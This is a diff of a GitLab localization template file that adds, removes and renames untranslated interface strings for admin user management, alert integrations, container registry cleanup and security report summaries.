-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -565,6 +563,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -637,21 +638,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -667,9 +674,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -685,13 +689,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -724,9 +728,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -831,40 +832,13 @@ msgstr[3] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -926,6 +900,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -1033,6 +1010,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -1051,12 +1031,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1688,9 +1662,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -2040,9 +2011,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2265,6 +2242,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2313,16 +2299,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2349,6 +2338,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2385,6 +2377,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2424,6 +2425,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2433,6 +2443,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2442,6 +2455,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2454,7 +2476,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2668,6 +2696,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2677,9 +2723,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2707,6 +2762,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2719,7 +2780,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2728,27 +2795,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2758,9 +2849,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2770,6 +2858,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2782,6 +2882,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2797,16 +2900,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2911,6 +3035,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -3028,9 +3155,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3151,9 +3275,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3187,16 +3308,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3253,6 +3377,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3280,9 +3407,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3313,6 +3437,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3331,6 +3458,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3517,6 +3647,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3587,6 +3723,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3668,6 +3807,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3719,9 +3861,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3774,6 +3913,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -4052,6 +4194,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4172,6 +4320,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4460,12 +4611,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4490,6 +4647,13 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4541,6 +4705,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4799,9 +4966,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4829,6 +4993,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4925,6 +5092,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4952,6 +5122,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4985,9 +5161,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5129,6 +5302,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5147,9 +5323,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5216,6 +5389,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5402,12 +5578,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5441,6 +5611,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5609,7 +5782,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5651,10 +5824,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5702,7 +5875,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5711,9 +5884,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5804,6 +5974,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5912,6 +6085,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6170,9 +6346,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6275,6 +6448,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6608,7 +6784,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6951,6 +7127,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -7074,9 +7253,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7248,6 +7424,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7272,7 +7451,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7304,6 +7483,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7379,6 +7561,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7388,6 +7579,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7413,7 +7613,16 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7422,6 +7631,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7443,21 +7655,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
